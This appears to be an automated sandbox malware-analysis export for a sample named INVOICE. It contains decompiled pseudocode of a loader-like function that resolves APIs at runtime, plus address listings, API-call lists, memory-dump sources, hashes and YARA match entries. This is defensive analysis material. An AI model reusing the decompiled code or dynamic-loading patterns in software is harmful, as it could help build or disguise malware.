												 *((intOrPtr*)(__edi + 0x101c)) = _v8;
												_t136 = _v16 + 0x81; // 0x81
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x1030)) = 0;
												 *((intOrPtr*)(__edi + 0x102c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x102c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x1030; // 0x1030
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t272 = _t269 - 1;
								__eflags = _t272;
								if(_t272 == 0) {
									_v16 = _t283;
									goto L80;
								}
								__eflags = _t272 != 1;
								if(_t272 != 1) {
									goto L162;
								}
								__eflags = _t286 - 0x6e;
								if(__eflags > 0) {
									_t309 = _t286 - 0x72;
									__eflags = _t309;
									if(_t309 == 0) {
										_push(4);
										L74:
										_pop(_t274);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t332 + 0x1010;
											 *_t96 =  *(_t332 + 0x1010) &  !_t274;
											__eflags =  *_t96;
										} else {
											 *(_t332 + 0x1010) =  *(_t332 + 0x1010) | _t274;
										}
										_v8 = 1;
										goto L57;
									}
									_t312 = _t309 - 1;
									__eflags = _t312;
									if(_t312 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t312 != 0;
									if(_t312 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push(8);
									goto L74;
								}
								_t315 = _t286 - 0x21;
								__eflags = _t315;
								if(_t315 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t316 = _t315 - 0x11;
								__eflags = _t316;
								if(_t316 == 0) {
									_t274 = 0x100;
									goto L75;
								}
								_t317 = _t316 - 0x31;
								__eflags = _t317;
								if(_t317 == 0) {
									_t274 = 1;
									goto L75;
								}
								__eflags = _t317 != 0;
								if(_t317 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t283;
								_v36 = _t283;
								goto L20;
							}
						}
						__eflags =  *((short*)(_t321 - 2)) - 0x3a;
						if( *((short*)(_t321 - 2)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t283;
						if(_v32 == _t283) {
							goto L43;
						}
						goto L17;
					}
					_t277 = _t258 - 5;
					if(_t277 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t283;
							_v20 = _t283;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t283;
							goto L20;
						}
					}
					_t281 = _t277 - 1;
					if(_t281 == 0) {
						__eflags = _v44 - _t283;
						if(_v44 != _t283) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t283;
							_v20 = _t283;
							goto L20;
						}
					}
					if(_t281 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t332 == _t283 ||  *(_t332 + 0x100c) != _t283) {
					L182:
					return _t332;
				} else {
					_t225 =  *_t332 - 1;
					if(_t225 == 0) {
						_t187 = _t332 + 8; // 0x8
						_t324 = _t187;
						__eflags =  *_t324 - _t283;
						if( *_t324 != _t283) {
							_t226 = GetModuleHandleW(_t324);
							__eflags = _t226 - _t283;
							 *(_t332 + 0x1008) = _t226;
							if(_t226 != _t283) {
								L171:
								_t192 = _t332 + 0x808; // 0x808
								_t325 = _t192;
								_t227 = E73E816BD( *(_t332 + 0x1008), _t325);
								__eflags = _t227 - _t283;
								 *(_t332 + 0x100c) = _t227;
								if(_t227 == _t283) {
									__eflags =  *_t325 - 0x23;
									if( *_t325 == 0x23) {
										_t195 = _t332 + 0x80a; // 0x80a
										_t231 = E73E813B1(_t195);
										__eflags = _t231 - _t283;
										if(_t231 != _t283) {
											__eflags = _t231 & 0xffff0000;
											if((_t231 & 0xffff0000) == 0) {
												 *(_t332 + 0x100c) = GetProcAddress( *(_t332 + 0x1008), _t231 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t283;
								if(_v52 != _t283) {
									L178:
									_t325[lstrlenW(_t325)] = 0x57;
									_t229 = E73E816BD( *(_t332 + 0x1008), _t325);
									__eflags = _t229 - _t283;
									if(_t229 != _t283) {
										L166:
										 *(_t332 + 0x100c) = _t229;
										goto L182;
									}
									__eflags =  *(_t332 + 0x100c) - _t283;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t206 = _t332 + 4;
									 *_t206 =  *(_t332 + 4) | 0xffffffff;
									__eflags =  *_t206;
									goto L182;
								} else {
									__eflags =  *(_t332 + 0x100c) - _t283;
									if( *(_t332 + 0x100c) != _t283) {
										goto L182;
									}
									goto L178;
								}
							}
							_t234 = LoadLibraryW(_t324);
							__eflags = _t234 - _t283;
							 *(_t332 + 0x1008) = _t234;
							if(_t234 == _t283) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t332 + 0x808; // 0x808
						_t236 = E73E813B1(_t188);
						 *(_t332 + 0x100c) = _t236;
						__eflags = _t236 - _t283;
						goto L180;
					}
					_t237 = _t225 - 1;
					if(_t237 == 0) {
						_t185 = _t332 + 0x808; // 0x808
						_t238 = _t185;
						__eflags =  *_t238 - _t283;
						if( *_t238 == _t283) {
							goto L182;
						}
						_t229 = E73E813B1(_t238);
						L165:
						goto L166;
					}
					if(_t237 != 1) {
						goto L182;
					}
					_t81 = _t332 + 8; // 0x8
					_t284 = _t81;
					_t326 = E73E813B1(_t81);
					 *(_t332 + 0x1008) = _t326;
					if(_t326 == 0) {
						goto L181;
					}
					 *(_t332 + 0x104c) =  *(_t332 + 0x104c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1050)) = E73E812CC(_t284);
					 *(_t332 + 0x103c) =  *(_t332 + 0x103c) & 0x00000000;
					 *((intOrPtr*)(_t332 + 0x1048)) = 1;
					 *((intOrPtr*)(_t332 + 0x1038)) = 1;
					_t90 = _t332 + 0x808; // 0x808
					_t229 =  *(_t326->i + E73E813B1(_t90) * 4);
					goto L165;
				}
			}

0x73e81c07
0x73e81c0a
0x73e81c0d
0x73e81c10
0x73e81c13
0x73e81c16
0x73e81c19
0x73e81c1b
0x73e81c1e
0x73e81c21
0x73e81c26
0x73e81c29
0x73e81c31
0x73e81c39
0x73e81c3b
0x73e81c3e
0x73e81c46
0x73e81c46
0x73e81c4b
0x73e81c4e
0x00000000
0x00000000
0x73e81c5b
0x73e81c60
0x73e81c62
0x73e81cf4
0x73e81cf4
0x73e81cf4
0x73e81cf8
0x73e81cfb
0x73e81cfd
0x73e81d1f
0x73e81d21
0x73e81d24
0x73e81d33
0x73e81d35
0x73e81d3b
0x73e81d3b
0x73e81d41
0x73e81d44
0x73e81d44
0x73e81d47
0x73e81d47
0x73e81d4d
0x73e81d4f
0x73e81d4f
0x73e81d51
0x73e81d54
0x73e81d57
0x73e81d5d
0x73e81d63
0x73e81d66
0x73e81d8a
0x73e81d8d
0x00000000
0x00000000
0x73e81d90
0x73e81d92
0x73e81da0
0x73e81da3
0x73e81da5
0x00000000
0x00000000
0x00000000
0x00000000
0x73e81da7
0x73e81da7
0x73e81da7
0x73e81dad
0x73e81daf
0x00000000
0x00000000
0x73e81db1
0x73e81db3
0x73e81db5
0x73e81db7
0x00000000
0x00000000
0x00000000
0x73e81db7
0x73e81db9
0x73e81dbb
0x73e81dbd
0x73e81dbd
0x73e81dc3
0x73e81dc9
0x73e81dcb
0x73e81ddf
0x73e81ddf
0x73e81de1
0x73e81dcd
0x73e81dd3
0x73e81dd6
0x73e81dd6
0x00000000
0x73e81d68
0x73e81d68
0x73e81d68
0x73e81d69
0x73e81d71
0x73e81d75
0x73e81d7b
0x73e81d7f
0x00000000
0x73e81d7f
0x73e81d6b
0x73e81d6b
0x73e81d6c
0x00000000
0x00000000
0x73e81d6e
0x73e81d6f
0x00000000
0x00000000
0x00000000
0x73e81d6f
0x73e81cff
0x73e81d00
0x73e81d09
0x73e81d0c
0x73e81d19
0x73e81d19
0x73e81d0e
0x73e81d0e
0x73e81de7
0x73e81dea
0x73e81dee
0x73e81e61
0x73e81e65
0x73e81c43
0x00000000
0x73e81c43
0x00000000
0x73e81e65
0x73e81cfd
0x73e81c68
0x73e81c6b
0x73e81cce
0x73e81cd1
0x73e81ce3
0x73e81ce3
0x73e81ce6
0x73e81df3
0x73e81df6
0x73e81df6
0x73e81df8
0x73e821ae
0x73e821c6
0x73e821c6
0x73e821c9
0x00000000
0x00000000
0x73e821b3
0x73e821b4
0x73e821b7
0x73e821ba
0x73e82244
0x73e8224b
0x73e82251
0x73e82255
0x73e81e5c
0x73e81e5d
0x73e81e5d
0x73e81e5e
0x00000000
0x73e81e5e
0x73e821c0
0x73e821c3
0x73e821c3
0x73e821cb
0x73e821ce
0x73e82238
0x73e81e51
0x73e81e54
0x73e81e57
0x73e81e5a
0x73e81e5a
0x00000000
0x73e81e5a
0x73e821d0
0x73e821d3
0x73e821da
0x73e821da
0x73e821dd
0x73e821e1
0x73e821f5
0x73e821f5
0x73e821f8
0x73e821fc
0x00000000
0x00000000
0x73e821fe
0x73e82202
0x00000000
0x00000000
0x73e82204
0x73e8220b
0x73e8220b
0x73e82211
0x73e82214
0x73e82230
0x73e82216
0x73e8221f
0x73e82222
0x73e82222
0x00000000
0x73e82214
0x73e821e3
0x73e821e6
0x73e821ea
0x00000000
0x00000000
0x73e821ec
0x00000000
0x73e821ec
0x73e821d5
0x73e821d8
0x00000000
0x00000000
0x00000000
0x73e821d8
0x73e81dfe
0x73e81dfe
0x73e81dff
0x73e81f49
0x73e81f49
0x73e81f50
0x73e81f53
0x00000000
0x00000000
0x73e81f60
0x00000000
0x73e8214b
0x73e8214e
0x73e82151
0x73e82151
0x73e82152
0x73e82153
0x73e82156
0x73e82159
0x73e8215c
0x00000000
0x00000000
0x73e8215e
0x73e8215e
0x73e82162
0x73e8217a
0x73e8217d
0x73e82181
0x73e82187
0x00000000
0x73e82187
0x73e82164
0x73e82164
0x73e82167
0x00000000
0x00000000
0x73e82169
0x73e8216c
0x73e8216e
0x73e8216f
0x73e8216f
0x73e8216f
0x73e82170
0x73e82173
0x73e82176
0x73e82177
0x73e82151
0x73e82152
0x73e82153
0x73e82156
0x73e82159
0x73e8215c
0x00000000
0x00000000
0x00000000
0x73e8215c
0x00000000
0x73e81fa7
0x00000000
0x00000000
0x73e81fb3
0x00000000
0x00000000
0x73e81f9a
0x73e81f9e
0x73e81fa2
0x00000000
0x00000000
0x73e8211c
0x73e82120
0x00000000
0x00000000
0x73e82126
0x73e8212f
0x73e82136
0x73e8213e
0x00000000
0x00000000
0x73e82083
0x73e82083
0x00000000
0x00000000
0x73e81fbc
0x00000000
0x00000000
0x73e821a6
0x00000000
0x00000000
0x73e8208b
0x73e8208d
0x73e8208d
0x00000000
0x00000000
0x73e82196
0x00000000
0x00000000
0x73e8219a
0x00000000
0x00000000
0x73e821a2
0x00000000
0x00000000
0x73e820d3
0x73e820d5
0x73e820d5
0x00000000
0x00000000
0x73e8209d
0x73e8209f
0x73e8209f
0x00000000
0x00000000
0x73e820af
0x73e820b1
0x73e820b1
0x00000000
0x00000000
0x73e820e1
0x73e820e3
0x73e820e3
0x00000000
0x00000000
0x73e820ba
0x73e820bc
0x73e820bc
0x00000000
0x00000000
0x73e820c1
0x00000000
0x00000000
0x73e8219e
0x73e821a8
0x73e821a8
0x00000000
0x00000000
0x73e820ec
0x73e820f0
0x73e820f5
0x73e820f8
0x73e820f9
0x73e820fc
0x73e82102
0x73e82102
0x00000000
0x00000000
0x73e8218e
0x00000000
0x00000000
0x73e820c5
0x73e820c7
0x73e820c7
0x00000000
0x00000000
0x73e81fc3
0x73e81fc3
0x00000000
0x00000000
0x73e820da
0x73e820dc
0x73e820dc
0x00000000
0x00000000
0x73e81f67
0x73e81f6d
0x73e81f70
0x73e81f72
0x73e81f72
0x73e81f75
0x73e81f79
0x73e81f86
0x73e81f88
0x73e81f8e
0x73e81f8e
0x73e81f8e
0x00000000
0x00000000
0x73e8208e
0x73e8208e
0x73e82090
0x73e82097
0x00000000
0x00000000
0x73e820d6
0x73e820d6
0x00000000
0x00000000
0x73e820a0
0x73e820a0
0x73e820a2
0x73e820a9
0x00000000
0x00000000
0x73e820b2
0x73e820b2
0x73e820b4
0x00000000
0x00000000
0x73e820e4
0x73e820e4
0x00000000
0x00000000
0x73e820bd
0x73e820bd
0x00000000
0x00000000
0x73e8210a
0x73e8210e
0x73e82113
0x73e82116
0x00000000
0x00000000
0x73e820c8
0x73e820c8
0x73e820cb
0x73e820cd
0x00000000
0x00000000
0x73e820dd
0x73e820dd
0x73e820e6
0x73e820e6
0x73e81fc5
0x73e81fc5
0x73e81fc8
0x73e81fcf
0x73e81fd1
0x73e81fd3
0x73e81fda
0x73e81fdd
0x73e81fe2
0x73e81fe4
0x73e81fe6
0x73e81fea
0x73e81ff0
0x73e81ff6
0x73e81ff6
0x73e81ff8
0x73e81ff8
0x73e81ff9
0x73e81ff9
0x73e81ffd
0x73e82003
0x73e82005
0x73e82009
0x73e8200e
0x73e8200e
0x73e82010
0x73e82010
0x73e82013
0x73e82016
0x73e8201f
0x73e82025
0x73e82028
0x73e82028
0x73e8202a
0x73e8202d
0x73e82033
0x73e82039
0x73e82039
0x73e8203b
0x00000000
0x00000000
0x73e82041
0x73e82041
0x73e82045
0x73e8204c
0x73e82070
0x73e82070
0x73e82074
0x73e82076
0x73e82079
0x73e82079
0x73e8207c
0x73e8207c
0x00000000
0x73e82074
0x73e82051
0x73e82054
0x73e82054
0x73e8205b
0x73e8205d
0x73e82060
0x73e82067
0x73e82068
0x73e8206e
0x73e8206e
0x00000000
0x73e8206e
0x73e82062
0x73e82065
0x00000000
0x00000000
0x00000000
0x73e82065
0x73e81ff2
0x73e81ff4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x73e81f60
0x73e81e05
0x73e81e05
0x73e81e06
0x73e81f46
0x00000000
0x73e81f46
0x73e81e0c
0x73e81e0d
0x00000000
0x00000000
0x73e81e13
0x73e81e16
0x73e81f0b
0x73e81f0b
0x73e81f0e
0x73e81f23
0x73e81f25
0x73e81f25
0x73e81f26
0x73e81f29
0x73e81f2c
0x73e81f38
0x73e81f38
0x73e81f38
0x73e81f2e
0x73e81f2e
0x73e81f2e
0x73e81f3e
0x00000000
0x73e81f3e
0x73e81f10
0x73e81f10
0x73e81f11
0x73e81f1f
0x00000000
0x73e81f1f
0x73e81f14
0x73e81f15
0x00000000
0x00000000
0x73e81f1b
0x00000000
0x73e81f1b
0x73e81e1c
0x73e81f07
0x00000000
0x73e81f07
0x73e81e22
0x73e81e22
0x73e81e25
0x73e81e4e
0x00000000
0x73e81e4e
0x73e81e27
0x73e81e27
0x73e81e2a
0x73e81e44
0x00000000
0x73e81e44
0x73e81e2c
0x73e81e2c
0x73e81e2f
0x73e81e3e
0x00000000
0x73e81e3e
0x73e81e32
0x73e81e33
0x00000000
0x00000000
0x73e81e35
0x00000000
0x73e81cec
0x73e81cec
0x73e81cef
0x00000000
0x73e81cef
0x73e81ce6
0x73e81cd3
0x73e81cd8
0x00000000
0x00000000
0x73e81cda
0x73e81cdd
0x00000000
0x00000000
0x00000000
0x73e81cdd
0x73e81c6d
0x73e81c70
0x73e81ca6
0x73e81ca9
0x00000000
0x73e81caf
0x73e81cb1
0x73e81cb5
0x73e81cbc
0x73e81cc3
0x73e81cc6
0x73e81cc9
0x00000000
0x73e81cc9
0x73e81ca9
0x73e81c72
0x73e81c73
0x73e81c8e
0x73e81c91
0x00000000
0x73e81c97
0x73e81c97
0x73e81c9e
0x73e81ca1
0x00000000
0x73e81ca1
0x73e81c91
0x73e81c78
0x00000000
0x73e81c7e
0x73e81c7e
0x73e81c85
0x00000000
0x73e81c85
0x73e81c78
0x73e81e74
0x73e81e79
0x73e81e7e
0x73e81e82
0x73e82355
0x73e8235b
0x73e81e94
0x73e81e96
0x73e81e97
0x73e8227e
0x73e8227e
0x73e82281
0x73e82284
0x73e822a1
0x73e822a7
0x73e822a9
0x73e822af
0x73e822c6
0x73e822c6
0x73e822c6
0x73e822d3
0x73e822d9
0x73e822dc
0x73e822e2
0x73e822e4
0x73e822e8
0x73e822ea
0x73e822f1
0x73e822f6
0x73e822f9
0x73e822fb
0x73e82300
0x73e82312
0x73e82312
0x73e82300
0x73e822f9
0x73e822e8
0x73e82318
0x73e8231b
0x73e82325
0x73e8232d
0x73e8233a
0x73e82340
0x73e82343
0x73e82273
0x73e82273
0x00000000
0x73e82273
0x73e82349
0x73e8234f
0x73e8234f
0x00000000
0x00000000
0x73e82351
0x73e82351
0x73e82351
0x73e82351
0x00000000
0x73e8231d
0x73e8231d
0x73e82323
0x00000000
0x00000000
0x00000000
0x73e82323
0x73e8231b
0x73e822b2
0x73e822b8
0x73e822ba
0x73e822c0
0x00000000
0x00000000
0x00000000
0x73e822c0
0x73e82286
0x73e8228d
0x73e82293
0x73e82299
0x00000000
0x73e82299
0x73e81e9d
0x73e81e9e
0x73e8225d
0x73e8225d
0x73e82263
0x73e82266
0x00000000
0x00000000
0x73e8226d
0x73e82272
0x00000000
0x73e82272
0x73e81ea5
0x00000000
0x00000000
0x73e81eab
0x73e81eab
0x73e81eb4
0x73e81eb9
0x73e81ebf
0x00000000
0x00000000
0x73e81ec5
0x73e81ed2
0x73e81ed8
0x73e81ee2
0x73e81ee8
0x73e81ef0
0x73e81f00
0x00000000
0x73e81f00

APIs

Part of subcall function 73E812BB: GlobalAlloc.KERNEL32(00000040,?,73E812DB,?,73E8137F,00000019,73E811CA,-000000A0), ref: 73E812C5

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 73E81D2D
lstrcpyW.KERNEL32(00000008,?), ref: 73E81D75
lstrcpyW.KERNEL32(00000808,?), ref: 73E81D7F
GlobalFree.KERNEL32(00000000), ref: 73E81D92
GlobalFree.KERNEL32(?), ref: 73E81E74
GlobalFree.KERNEL32(?), ref: 73E81E79
GlobalFree.KERNEL32(?), ref: 73E81E7E
GlobalFree.KERNEL32(00000000), ref: 73E82068
lstrcpyW.KERNEL32(?,?), ref: 73E82222
GetModuleHandleW.KERNEL32(00000008), ref: 73E822A1
LoadLibraryW.KERNEL32(00000008), ref: 73E822B2
GetProcAddress.KERNEL32(?,?), ref: 73E8230C
lstrlenW.KERNEL32(00000808), ref: 73E82326

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 2a2ae288e586dac23522939468108a9f896038525062a7fdf9c12679cac5289d
Instruction ID: fc875bd45bbe46c96ad87aec4bc8432be95ae3d2ec8d446583993916cfd8ae26
Opcode Fuzzy Hash: 2a2ae288e586dac23522939468108a9f896038525062a7fdf9c12679cac5289d
Instruction Fuzzy Hash: 3E227971D0460ADFDB129FA4C5807EEB7B5FF0831AF24652AD1AFE6280D7749A81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02B594CE Relevance: 4.1, Strings: 3, Instructions: 310COMMON

Download Yara Rule

Strings

La1, xrefs: 02B5997A
z&F, xrefs: 02B59ADA
@4X, xrefs: 02B59967

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: @4X$La1$z&F
API String ID: 0-645233880
Opcode ID: fc3010c3e8690da4eb8c988fe939dc2b0ab7a61d56be4b62fad0874eca64d5bc
Instruction ID: 02eeb76f4eb6092e3a9638e90275c0f9eab4b23d708a0ce97c6a9b9d2374c720
Opcode Fuzzy Hash: fc3010c3e8690da4eb8c988fe939dc2b0ab7a61d56be4b62fad0874eca64d5bc
Instruction Fuzzy Hash: 4DB16571208349DFDB349E24C9917EA77E2EF56390F95052ECCCA9B155D3308985CB42

Uniqueness

Uniqueness Score: -1.00%

Function 02B5956A Relevance: 4.0, Strings: 3, Instructions: 285COMMON

Download Yara Rule

Strings

La1, xrefs: 02B5997A
z&F, xrefs: 02B59ADA
@4X, xrefs: 02B59967

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: @4X$La1$z&F
API String ID: 0-645233880
Opcode ID: 745f4fe846819b6f7fafd7375bfed3706dcfd9bf7dfda23fdb14ece846cd1218
Instruction ID: e46997ccf8b771ad7df1a47ff4534131a3e8aac076a8ab3a60db845c47b1d559
Opcode Fuzzy Hash: 745f4fe846819b6f7fafd7375bfed3706dcfd9bf7dfda23fdb14ece846cd1218
Instruction Fuzzy Hash: 35B17671608749DFDB349E38C9A57EA77E2EF86390F85462ECCCA9B154D3348985CB02

Uniqueness

Uniqueness Score: -1.00%

Function 02B598CB Relevance: 4.0, Strings: 3, Instructions: 265COMMON

Download Yara Rule

Strings

La1, xrefs: 02B5997A
z&F, xrefs: 02B59ADA
@4X, xrefs: 02B59967

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: @4X$La1$z&F
API String ID: 0-645233880
Opcode ID: da3a59efcf2cf758673d1f1155d9c5ec07e010d5478d61e5ecb9642cc1595d3d
Instruction ID: 197a76e67c1d67ba2bc4def34bfc1ffbbdbc35d42e4fd61f03412635f44deba4
Opcode Fuzzy Hash: da3a59efcf2cf758673d1f1155d9c5ec07e010d5478d61e5ecb9642cc1595d3d
Instruction Fuzzy Hash: E291767214836ACBC7209F64C9D23E9BBE5EF63660F1611AECCA58F096E3A08546C745

Uniqueness

Uniqueness Score: -1.00%

Function 02B595E4 Relevance: 4.0, Strings: 3, Instructions: 255COMMON

Download Yara Rule

Strings

La1, xrefs: 02B5997A
z&F, xrefs: 02B59ADA
@4X, xrefs: 02B59967

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: @4X$La1$z&F
API String ID: 0-645233880
Opcode ID: dfe21dd0831209fee18ef0a23fbdf787153251f509a69e5c74f2ad465a08623b
Instruction ID: 0dcdaa517bb09f56264d284a620c1ae5c8809ef8fb0fcf4b22e3f82d9d2d3abf
Opcode Fuzzy Hash: dfe21dd0831209fee18ef0a23fbdf787153251f509a69e5c74f2ad465a08623b
Instruction Fuzzy Hash: 6EA1417120874ADFDB349E34C9917EAB7E2EF463A0F95462ECCCA9B154D3348985CB02

Uniqueness

Uniqueness Score: -1.00%

Function 02B596DC Relevance: 3.9, Strings: 3, Instructions: 192COMMON

Download Yara Rule

Strings

La1, xrefs: 02B5997A
z&F, xrefs: 02B59ADA
@4X, xrefs: 02B59967

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: @4X$La1$z&F
API String ID: 0-645233880
Opcode ID: 2b4098708c01f5eea3e4e529d1725f42b57e12fc7da33a240825658da1561544
Instruction ID: 74820a71d7af1a9a6d143187f485923305154c798cd1ccd7399c1059713ac35c
Opcode Fuzzy Hash: 2b4098708c01f5eea3e4e529d1725f42b57e12fc7da33a240825658da1561544
Instruction Fuzzy Hash: 3B71447160474ADFDB348E29CDA57EA77E2EF46360F85462ECCDA9B254D3308985CB02

Uniqueness

Uniqueness Score: -1.00%

Function 02B5756F Relevance: 2.9, Strings: 2, Instructions: 422COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: 27d9639f7ffafc4c257f37282c4fadacc01e469f43930d33c098c24094017d65
Instruction ID: f725a533b89ab0cd2143f9f0c05b0315aa4aa4f263ccae5cfee8732803b04fc3
Opcode Fuzzy Hash: 27d9639f7ffafc4c257f37282c4fadacc01e469f43930d33c098c24094017d65
Instruction Fuzzy Hash: D6E1547530436ACFDB319E78C9D43EA77A2EF66360F9501AACC8ACF145D7708586CA41

Uniqueness

Uniqueness Score: -1.00%

Function 02B5767A Relevance: 2.8, Strings: 2, Instructions: 349COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: af20a7ded5351d72f608b04d4ecdad694ce910d6974101c70983d56a4440e0f3
Instruction ID: ecaba3e82934aca8d74717191a0eddf6ad8293b12cb95f42a03a619f50a76821
Opcode Fuzzy Hash: af20a7ded5351d72f608b04d4ecdad694ce910d6974101c70983d56a4440e0f3
Instruction Fuzzy Hash: 65C1127530435A8FDF309E78CDE43DA77A2EF66360F9542AACC8A8F145D7718586CA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B57842 Relevance: 2.8, Strings: 2, Instructions: 346COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: 2f8fda06022abe8eb729f25d575e3e085402fdcd7c055a5080d93e278b3f3c21
Instruction ID: 05f013006c46a72672078df80ac8522c3f2fa437f1e7563aa95cc576b4764324
Opcode Fuzzy Hash: 2f8fda06022abe8eb729f25d575e3e085402fdcd7c055a5080d93e278b3f3c21
Instruction Fuzzy Hash: 75C1337634835ACFDB309E78C9D53EA77A1EF26360FA5026ACC898F151D770858BCA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B578E8 Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: 19d24d3106f57254ada566a6ef45d85a3855fcd62a39049938672accfeb588e6
Instruction ID: d7e435a7a0e88d3bfbf704572356639f33121095d697c2ce9531800a65041b0d
Opcode Fuzzy Hash: 19d24d3106f57254ada566a6ef45d85a3855fcd62a39049938672accfeb588e6
Instruction Fuzzy Hash: 1DA1417530835ADFDB309E78CDE43EA77A2EF26360F95026ACC8A8F145D770458ACA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B57B66 Relevance: 2.8, Strings: 2, Instructions: 283COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
